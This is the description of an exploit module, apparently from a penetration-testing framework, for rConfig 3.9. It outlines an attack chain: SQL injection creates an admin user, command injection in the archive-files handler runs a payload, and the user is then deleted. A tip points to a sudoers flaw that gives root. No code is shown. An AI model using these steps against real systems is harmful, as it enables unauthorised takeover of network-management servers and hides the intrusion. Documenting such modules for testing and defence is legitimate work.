        This module exploits multiple vulnerabilities in rConfig version 3.9
        in order to execute arbitrary commands.
        This module takes advantage of a command injection vulnerability in the
        `path` parameter of the ajax archive file functionality within the rConfig web
        interface in order to execute the payload.
        Valid credentials for a user with administrative privileges are required.
        However, this module can bypass authentication via SQLI.
        This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.
        The steps are:
          1. SQLi on /commands.inc.php allows us to add an administrative user.
          2. An authenticated session is established with the newly added user
          3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to
             execute the payload.
          4. Remove the added admin user.
        Tips : once you get a shell, look at the CVE-2019-19585.
        You will probably get root because rConfig install script add Apache user to
        sudoers with nopasswd ;-)
